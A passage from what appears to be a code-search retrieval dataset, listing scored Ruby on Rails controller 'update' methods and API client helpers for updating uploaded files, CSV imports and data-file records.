"c764d277769310f001a3bf6e3b89b378", "score": "0.6283823", "text": "def update\n @file = DBFile.find(params[:id])\n\n #params[\"file\"].delete(\"user_id\")\n\n respond_to do |format|\n if @file.update_attributes(params[:db_file])\n flash[:notice] = 'DBFile was successfully updated.'\n format.html { redirect_to(:action => :edit) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @file.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @file.errors, :status => :unprocessable_entity }\n format.json { render :json => @file.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c921e997334103cf73b0f8b6c6f049eb", "score": "0.61661243", "text": "def update\n respond_to do |format|\n if @csv_export.update(csv_export_params)\n format.html { redirect_to @csv_export, notice: 'Csv export was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @csv_export.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f0e17365d23c06ababeff01c6c455bb", "score": "0.61463046", "text": "def update\n respond_to do |format|\n if @csv_import.update(csv_import_params)\n format.html { redirect_to @csv_import, notice: 'Csv import was successfully updated.' }\n format.json { render :show, status: :ok, location: @csv_import }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "4cf76587461740239c9e7087653136bb", "score": "0.61324143", "text": "def update\n @input = Input.find(params[:id])\n if params[:dbfile_id] and !params[:dbfile_id].blank?\n dbfile = DBFile.find(params[:dbfile_id])\n end\n\n respond_to do |format|\n if @input.update_attributes(params[:input])\n @input.files << dbfile if dbfile\n format.html { redirect_to(@input, :notice => 'Input was successfully updated.') }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @input.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @input.errors, :status => :unprocessable_entity }\n format.json { render :json => @input.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cf76587461740239c9e7087653136bb", "score": "0.61324143", "text": "def update\n @input = Input.find(params[:id])\n if params[:dbfile_id] and !params[:dbfile_id].blank?\n dbfile = DBFile.find(params[:dbfile_id])\n end\n\n respond_to do |format|\n if @input.update_attributes(params[:input])\n @input.files << dbfile if dbfile\n format.html { redirect_to(@input, :notice => 'Input was successfully updated.') }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @input.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @input.errors, :status => :unprocessable_entity }\n format.json { render :json => @input.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed611bc8e7cec42af1aab1c9e6404af9", "score": "0.6126286", "text": "def update\n respond_to do |format|\n if @csv_import.update(csv_import_params)\n format.html { redirect_to @csv_import, notice: 'Csv import was successfully updated.' }\n format.json { render :show, status: :ok, location: @csv_import }\n else\n format.html { render :edit }\n format.json { render json: @csv_import.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88b08f2fb2d5bfa061352736a9a25a1a", "score": "0.61205363", "text": "def update\n description = file_params[:description] || @file.description\n\n raise ApiError, \"Can't rename a file.\" unless @file.rename(file_params[:name], description)\n\n render json: @file, adapter: :json\n end", "title": "" }, { "docid": "17e5a0d6aea0476a9de9b142494d7b1e", "score": "0.60869646", "text": "def update \n @versioned_file = VersionedFile.find(params[:id])\n puts @versioned_file.id\n if @versioned_file.update(versioned_file_params)\n head :no_content\n else\n render json: @versioned_file.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "acc68c38d083f3c8016b79f36c0e20dd", "score": "0.60485476", "text": "def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n unless params[:request_files].blank?\n params[:request_files]['file'].each do |a|\n @request_file = @request.request_files.create!(:file => a, :request_id => @request.id) \n end\n end\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e332767057b85c149d1a1611a1e57310", "score": "0.60472965", "text": "def update\n respond_to do |format|\n if @user_csv_upload.update(user_csv_upload_params)\n format.html { redirect_to @user_csv_upload, notice: 'User csv upload was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_csv_upload }\n else\n format.html { render :edit }\n format.json { render json: @user_csv_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3e8139adee88a7ad08568de11028e50", "score": "0.602246", "text": "def update\n @request_file = RequestFile.find(params[:id])\n\n respond_to do |format|\n if @request_file.update_attributes(params[:request_file])\n format.html { redirect_to @request_file, notice: 'Request file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad4390b5373d8fe8123f172935fdf9b3", "score": "0.6005992", "text": "def api_v1_csv_file_params\n params.fetch(:api_v1_csv_file, {})\n end", "title": "" }, { "docid": "bd9697a8a5989c8897c38bd48e935387", "score": "0.5986974", "text": "def update\n respond_to do |format|\n if @fantasy_csv_import.update(fantasy_csv_import_params)\n format.html { redirect_to @fantasy_csv_import, notice: 'Fantasy csv import was successfully updated.' }\n format.json { render :show, status: :ok, location: @fantasy_csv_import }\n else\n format.html { render :edit }\n format.json { render json: @fantasy_csv_import.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "193aa1cbf1d0e0e3abe490fe7e115296", "score": "0.59650046", "text": "def update\n @jsonfile = Jsonfile.find(params[:id])\n\n respond_to do |format|\n if @jsonfile.update_attributes(params[:jsonfile])\n format.html { redirect_to(@jsonfile, :notice => 'Jsonfile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @jsonfile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68babbdb5a4111b3ffabf6264496c356", "score": "0.59556353", "text": "def update\n @callist = Callist.find(params[:id])\n if params[:callist][:callsfile]\n callsfile = params[:callist][:callsfile]\n callsfile.rewind\n @callist.data = callsfile.read\n @callist.filename = callsfile.original_filename\n end\n \n respond_to do |format|\n if @callist.update_attributes(params[:callist])\n format.html { redirect_to @callist, notice: 'Callist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @callist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e9b21b3b97d51653c2d07df217d5423", "score": "0.59331363", "text": "def update\n @csv_field = CsvField.find(params[:id])\n\n respond_to do |format|\n if @csv_field.update_attributes(params[:csv_field])\n format.html { redirect_to(@csv_field, :notice => 'Csv field was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @csv_field.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ac71e446119b1c202bc297670991abd", "score": "0.5900658", "text": "def update\n @convoyd_file = ConvoydFile.find(params[:id])\n\n respond_to do |format|\n if @convoyd_file.update_attributes(params[:convoyd_file])\n format.html { redirect_to @convoyd_file, notice: 'Convoyd file was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @convoyd_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c000fd6810a64e532d3d6364fce00fa", "score": "0.58995163", "text": "def update\n respond_to do |format|\n if @single_file.update(single_file_params)\n format.html { redirect_to @single_file, notice: 'Single file was successfully updated.' }\n format.json { render :show, status: :ok, location: @single_file }\n else\n format.html { render :edit }\n format.json { render json: @single_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00aa0eb38662aa7758259ef2426cd5c6", "score": "0.58732194", "text": "def update\n @file = FileAtt.find(params[:id])\n\n respond_to do |format|\n if @file.update_attributes(file_params)\n format.html { redirect_to @file, :notice=>\"FileAtt was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@file.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end", "title": "" }, { "docid": "c901dfeaeaccde01151eba4358a6ee94", "score": "0.5863568", "text": "def update\n respond_to do |format|\n if @file_name.update(file_name_params)\n format.html { redirect_to root_path }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @file_name.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "295107bec887fbc2845e84ac5ab4527b", "score": "0.5862637", "text": "def update\n @data_file = DataFile.find(params[:id])\n\n respond_to do |format|\n if @data_file.update_attributes(params[:data_file])\n format.html { redirect_to @data_file, notice: 'Data file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46a91eece72303a106c54f338b0187e7", "score": "0.5859415", "text": "def update\n if File.exists?(@path)\n # some REST clients don't let you specify the name of the parameter, so just dig for it\n file = params.values.detect{|v|v.is_a?(IO) || v.is_a?(ActionDispatch::Http::UploadedFile)}\n if file\n File.open(@path,\"wb\") {|f| f.write(file.read)}\n end\n\n if params[:hidden]\n hidden_file = Pathname.new(File.dirname(@path)).join('.hidden-files')\n hidden_file_names = File.exists?(hidden_file) ? File.read(hidden_file).split(\"\\n\") : []\n short_name = File.basename(@path)\n if params[:hidden] == 'true'\n unless hidden_file_names.include?(short_name)\n hidden_file_names << short_name\n File.open(hidden_file,'wb') {|f| f.puts hidden_file_names.join(\"\\n\") }\n end\n elsif params[:hidden] == 'false'\n if hidden_file_names.include?(short_name)\n hidden_file_names.delete(short_name)\n File.open(hidden_file,'wb') {|f| f.puts hidden_file_names.join(\"\\n\") }\n end\n end\n end\n\n render :json=>file_path_to_hash(@path)\n else\n head 404\n end\n end", "title": "" }, { "docid": "7d18394c693c1a269e7ee27d0acc33e0", "score": "0.5830556", "text": "def fileupload_update(record_id, guid, method)\n fileupload_scope(method, guid).update_all(assetable_id: record_id, Uploader.guid_column => nil)\n end", "title": "" }, { "docid": "d33d1063025535e8e83351543bab1d5a", "score": "0.5823793", "text": "def replace_with_http_info(file_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FilesApi.replace ...'\n end\n # verify the required parameter 'file_id' is set\n if @api_client.config.client_side_validation && file_id.nil?\n fail ArgumentError, \"Missing the required parameter 'file_id' when calling FilesApi.replace\"\n end\n pattern = Regexp.new(/\\d+/)\n if @api_client.config.client_side_validation && file_id !~ pattern\n fail ArgumentError, \"invalid value for 'file_id' when calling FilesApi.replace, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/files/v3/files/{fileId}'.sub('{' + 'fileId' + '}', CGI.escape(file_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['multipart/form-data'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['file'] = opts[:'file'] if !opts[:'file'].nil?\n form_params['charsetHunch'] = opts[:'charset_hunch'] if !opts[:'charset_hunch'].nil?\n form_params['options'] = opts[:'options'] if !opts[:'options'].nil?\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'HubspotFile'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oauth2']\n\n new_options = opts.merge(\n :operation => :\"FilesApi.replace\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#replace\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8aea28c5a9ce521d3d46f19b0131ec98", "score": "0.58095616", "text": "def update\n respond_to do |format|\n if @company_file.update(company_file_params)\n format.html { redirect_to @company_file, notice: 'Company file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21f300778214517bcc4d69b90d527cbf", "score": "0.5804317", "text": "def update\n @<%= file_name %> = <%= orm_class.find(class_name, \"params[:id]\") %>\n \n if @<%= orm_instance.update_attributes(\"params[:#{file_name}]\") %>\n respond_with(@<%= file_name %>, :status => :created)\n else\n respond_with(@<%= orm_instance.errors %>, :status => :unprocessable_entity)\n end\n end", "title": "" }, { "docid": "2f1011390fe6ec8dbc928389adee9856", "score": "0.5792691", "text": "def update\n respond_to do |format|\n if @csv_type.update(csv_type_params)\n format.html { redirect_to @csv_type, notice: 'Csv type was successfully updated.' }\n format.json { render :show, status: :ok, location: @csv_type }\n else\n format.html { render :edit }\n format.json { render json: @csv_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15824dc82d9a6e98c313939aa4d606dd", "score": "0.5786975", "text": "def update\n # CarrierWave attrs->filename hack\n @collectible.assign_attributes(collectible_params.except(:collectible_file, :json_file))\n @collectible.assign_attributes(collectible_params.slice(:collectible_file, :json_file))\n\n respond_to do |format|\n if @collectible.save\n format.html { redirect_to @collectible, notice: 'Collectible was successfully updated.' }\n format.json { render :show, status: :ok, location: @collectible }\n else\n format.html { render :edit }\n format.json { render json: @collectible.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0cd252f18dca8aa743318b1a0c27e117", "score": "0.5784739", "text": "def update\n # abort admin_file_params.inspect\n unless admin_file_params[:file].blank?\n @admin_file.remove_file!\n end\n\n respond_to do |format|\n if @admin_file.update(admin_file_params)\n format.html { redirect_to @admin_file, notice: 'File was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_file }\n else\n format.html { render :edit }\n format.json { render json: @admin_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e62bec69befdabf4f68f9ed02a5d51de", "score": "0.57841456", "text": "def update_records\n @headers = @csv.first\n case @headers.sort\n when patient_headers\n update_patient\n when order_headers\n update_order\n when invoice_headers\n update_invoice\n else\n @error.push(I18n.t('controllers.home.file_upload.invalid_file', file_name: @filename))\n end\n end", "title": "" }, { "docid": "3292fae4c869c044da74dabc698139f8", "score": "0.57625026", "text": "def update\n @import = CsvImport.find_by(id: params[:id])\n @import.csv_values[params[\"format\"]] = params[\"value\"]\n # ActiveRecord::Base.record_timestamps = false\n @import.save!\n redirect_to root_url, notice: \"Value has been Updated.\"\n end", "title": "" }, { "docid": "58db19eae23a5524ea972932893b1a77", "score": "0.5740337", "text": "def set_csv_file\n @csv_file = CsvFile.find(params[:id])\n end", "title": "" }, { "docid": "58db19eae23a5524ea972932893b1a77", "score": "0.5740337", "text": "def set_csv_file\n @csv_file = CsvFile.find(params[:id])\n end", "title": "" }, { "docid": "be49f0c2469db2e369cfda130ca78912", "score": "0.57249445", "text": "def update\n respond_to do |format|\n if @data_file.update(data_file_params)\n format.html { redirect_to @data_file, notice: 'Data file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @data_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4db52f6aa407a3799ce2f45ec2055cf6", "score": "0.5719794", "text": "def update\n @file_import = FileImport.find(params[:id])\n\n respond_to do |format|\n if @file_import.update_attributes(params[:file_import])\n format.html { redirect_to @file_import, notice: 'File import was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_import.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cca65a791b0393c8830b16df8109ac37", "score": "0.5718507", "text": "def update\n @datafile = Datafile.find(params[:id])\n\n respond_to do |format|\n if @datafile.update_attributes(params[:datafile])\n format.html { redirect_to @datafile, notice: 'Datafile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @datafile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67b770a4c28e307f2be2d77fb6e10097", "score": "0.5703837", "text": "def update_file params\n raise NotImplementedError\n end", "title": "" }, { "docid": "f8f603a79837d922b6702d76244a608a", "score": "0.5700178", "text": "def update\n respond_to do |format|\n if @files_file.update(files_file_params)\n format.html { redirect_to @files_file, notice: 'File was successfully updated.' }\n format.json { render :show, status: :ok, location: @files_file }\n else\n format.html { render :edit }\n format.json { render json: @files_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b27d3a16ed9f808b96056f140c40fe58", "score": "0.5699423", "text": "def update\n @capa_file = CapaFile.find(params[:id])\n\n respond_to do |format|\n if @capa_file.update_attributes(params[:capa_file])\n format.html { redirect_to @capa_file, notice: 'Capa file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @capa_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "118de8bbd2d447a48c18cdc70bfae1ad", "score": "0.56989884", "text": "def update\n respond_to do |format|\n if @export_file.update_attributes(export_file_params)\n format.html { redirect_to @export_file, :notice => ' export file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @export_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f4807d6e5ad1b1896dd17a841282cd", "score": "0.569603", "text": "def update\n respond_to do |format|\n if @file.update(file_params)\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"files\"), notice: 'File was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5429236cc318368958b14e33631c546", "score": "0.568846", "text": "def update\n respond_to do |format|\n if @file_imported.update(file_imported_params)\n format.html { redirect_to @file_imported, notice: \"File imported was successfully updated.\" }\n format.json { render :show, status: :ok, location: @file_imported }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @file_imported.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "558cf51b3d899255dd3fd140b47d43d8", "score": "0.56884056", "text": "def update\n @colaboration_file = ColaborationFile.find(params[:id])\n\n respond_to do |format|\n if @colaboration_file.update_attributes(params[:colaboration_file])\n format.html { redirect_to @colaboration_file, notice: 'Colaboration file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colaboration_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f47b22d809d910cb877210e442b22df3", "score": "0.56814873", "text": "def update\n respond_to do |format|\n if @file_method.update(file_method_params)\n format.html { redirect_to @file_method, notice: 'File method was successfully updated.' }\n format.json { render :show, status: :ok, location: @file_method }\n else\n format.html { render :edit }\n format.json { render json: @file_method.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d5e0c5c902a7b28a942b43df6594686", "score": "0.5679641", "text": "def update\n respond_to do |format|\n if @new_file.update(new_file_params)\n format.html { redirect_to @new_file, notice: 'New file was successfully updated.' }\n format.json { render :show, status: :ok, location: @new_file }\n else\n format.html { render :edit }\n format.json { render json: @new_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e55a6e9d9b3726294e45f09f4d8defc", "score": "0.56747687", "text": "def update\n File.open(file_path, 'w') do |file|\n file.write(file_params[:content])\n end\n\n render json: { status: :ok }\n end", "title": "" }, { "docid": "c71697c06baed1d916eccc691c99aac2", "score": "0.5667564", "text": "def change\n #TODO allow write access for shared files\n file = session[:user].x_files.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_access, \"No write access\") if file.user != session[:user]\n delete\n put\n end", "title": "" }, { "docid": "0fde10e061a7291d10352f8ad9a34082", "score": "0.56462026", "text": "def update\n @pec_complaint = PecComplaint.find(params[:id])\n #abort params[:pec_complaint][:pec_complaint_files_attributes]['0'][:id].inspect\n\n respond_to do |format|\n if @pec_complaint.update_attributes(params[:pec_complaint])\n format.html { redirect_to @pec_complaint, notice: 'Pec complaint was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pec_complaint.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a9c58727781fa082fae430e24960a9e", "score": "0.5641341", "text": "def create\n @api_v1_csv_file = Api::V1::CsvFile.new(api_v1_csv_file_params)\n\n respond_to do |format|\n if @api_v1_csv_file.save\n format.html { redirect_to @api_v1_csv_file, notice: 'Csv file was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_csv_file }\n else\n format.html { render :new }\n format.json { render json: @api_v1_csv_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afbc6521241c7a6e30091cfafcd9d9f1", "score": "0.56324553", "text": "def update\n @har_file.requests << process_file(har_file_params[:content].path)\n respond_to do |format|\n if @har_file.update(har_file_params)\n format.html { redirect_to @har_file, notice: 'Har file was successfully updated.' }\n format.json { render :show, status: :ok, location: @har_file }\n else\n format.html { render :edit }\n format.json { render json: @har_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "075c7e06c715966dc0588ad7b26e25d6", "score": "0.56313545", "text": "def update\n @datafile.assign_attributes(status: 'new', upload: nil) if params[:delete_upload] == 'yes'\n respond_to do |format|\n if @datafile.update(datafile_params)\n format.html { redirect_to @datafile, notice: 'Datafile was successfully updated.' }\n format.json { render :show, status: :ok, location: @datafile }\n else\n format.html { render :edit }\n format.json { render json: @datafile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a11a48ba1e2dcff132597a77cc2ece7e", "score": "0.56303805", "text": "def update\n respond_to do |format|\n if @file_to_update.update(file_to_update_params)\n format.html { redirect_to @file_to_update, notice: 'File to update was successfully updated.' }\n format.json { render :show, status: :ok, location: @file_to_update }\n else\n format.html { render :edit }\n format.json { render json: @file_to_update.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c62710973b79bed0c1803c4e9f44d4a", "score": "0.56275594", "text": "def update\n\n @datafile.assign_attributes(status: 'new', upload: nil) if params[:delete_upload] == 'yes'\n\n respond_to do |format|\n if @datafile.update(datafile_params)\n format.html { redirect_to @datafile, notice: 'Datafile was successfully updated.' }\n format.json { render :show, status: :ok, location: @datafile }\n else\n format.html { render :edit }\n format.json { render json: @datafile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72b0c1527d02a7bcc620ce4c729a449c", "score": "0.56265086", "text": "def update\n @keyfile = Keyfile.find(params[:id])\n\n if @keyfile.update(keyfile_params)\n head :no_content\n else\n render json: @keyfile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "baa3f09cec3c2437bc40168c31f95ea2", "score": "0.561899", "text": "def patch_file bucket_name, file_path, options = {}\n params = { bucket: bucket_name,\n object: file_path,\n predefinedAcl: options.delete(:acl)\n }.delete_if { |_, v| v.nil? }\n\n @client.execute(\n api_method: @storage.objects.patch,\n parameters: params\n )\n end", "title": "" }, { "docid": "ed1c44a70bb54193a0a418c4f80c9b59", "score": "0.561298", "text": "def update\n @file = Upload.find(params[:id])\n\n respond_to do |format|\n if @file.update_attributes(params[:file])\n format.html { redirect_to @file, notice: 'file was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cd66cb3cd6448141ddf281cf479f63d", "score": "0.5611879", "text": "def update_vcl\n\n if ARGV.length < 5\n puts \"Too few arguments\"\n exit\n end\n \n puts \"Working on updating VCL\"\n\n file = ARGV[0]\n service_id = ARGV[1]\n version_no = ARGV[2]\n vcl_name = ARGV[3]\n fastly_key = ARGV[4]\n url = 'https://api.fastly.com/service/' + service_id + '/version/' + version_no + '/vcl/' + vcl_name\n header = { 'Content-Type' => 'application/x-www-form-urlencoded', 'Fastly-key' => fastly_key } \n \n # encode as 'Content-Type' is 'application/x-www-form-urlencoded'\n payload = URI::encode(File.read(file))\n\n # Error handling\n begin\n res = RestClient.put url, payload, headers = header\n puts res.code\n if res.code == 200\n puts \"Updated VCL\"\n puts res.body\n return true\n end\n\n rescue RestClient::ExceptionWithResponse => error\n puts \"Error uploading VCL\"\n puts error.response\n return false\n end\nend", "title": "" }, { "docid": "98a0c0febe00c04b9ad80188eae1c680", "score": "0.56099737", "text": "def update\n begin\n cocina_dro = cocina_update_model\n rescue BlobError => e\n # Returning 500 because not clear whose fault it is.\n return render build_error('500', e, 'Error matching uploading files to file parameters.')\n end\n\n authorize! cocina_dro, with: ResourcePolicy\n\n result = BackgroundJobResult.create(output: {})\n UpdateJob.perform_later(model_params: JSON.parse(cocina_dro.to_json), # Needs to be sidekiq friendly serialization\n signed_ids:,\n globus_ids:,\n version_description: params[:versionDescription],\n background_job_result: result)\n\n render json: { jobId: result.id },\n location: result,\n status: :accepted\n end", "title": "" }, { "docid": "58a85ccb97d7903f52ec3bf3cb7fddc6", "score": "0.559617", "text": "def update\n respond_to do |format|\n if @data_file.update(data_file_params)\n format.html { redirect_to @data_file, notice: 'Data file was successfully updated.' }\n format.json { render :show, status: :ok, location: @data_file }\n else\n format.html { render :edit }\n format.json { render json: @data_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b29ef97080d9be06c869dec1a0c40a3", "score": "0.55960596", "text": "def update\n @treq_file = TreqFile.find(params[:id])\n\n respond_to do |format|\n if @treq_file.update_attributes(params[:treq_file])\n format.html { redirect_to @treq_file, notice: 'Treq file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1a52d965945f2f3e073468a0a8bda86", "score": "0.55708855", "text": "def update\n respond_to do |format|\n if @resource_import_file.update_attributes(params[:resource_import_file])\n format.html { redirect_to @resource_import_file, :notice => t('controller.successfully_updated', :model => t('activerecord.models.resource_import_file')) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @resource_import_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f27cae2d9d31b9632e2d34a3acd3632", "score": "0.5570659", "text": "def index\n @api_v1_csv_files = Api::V1::CsvFile.all\n end", "title": "" }, { "docid": "bc79b5ed48f1f607cf8fbd9aef15c76b", "score": "0.55705035", "text": "def update_file_with_http_info(xero_tenant_id, file_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FilesApi.update_file ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling FilesApi.update_file\"\n end\n # verify the required parameter 'file_id' is set\n if @api_client.config.client_side_validation && file_id.nil?\n fail ArgumentError, \"Missing the required parameter 'file_id' when calling FilesApi.update_file\"\n end\n # resource path\n local_var_path = '/Files/{FileId}'.sub('{' + 'FileId' + '}', file_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'xero-tenant-id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'file_object']) \n\n # return_type\n return_type = opts[:return_type] || 'FileObject' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, \"FilesApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#update_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c16b96121e0dafaaf3473b6bbf848e72", "score": "0.5567735", "text": "def update\n @user_file = UserFile.find(params[:id])\n\n file = params[:user_file][:data]\n \n @user_file.name = file.original_filename\n @user_file.content_type = file.content_type\n @user_file.data = file.read\n\n respond_to do |format|\n if @user_file.save\n format.html { redirect_to @user_file, notice: 'Question file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4fbe2bb4554c75214ec612a847f458e", "score": "0.5558643", "text": "def update_tenant_circle(args = 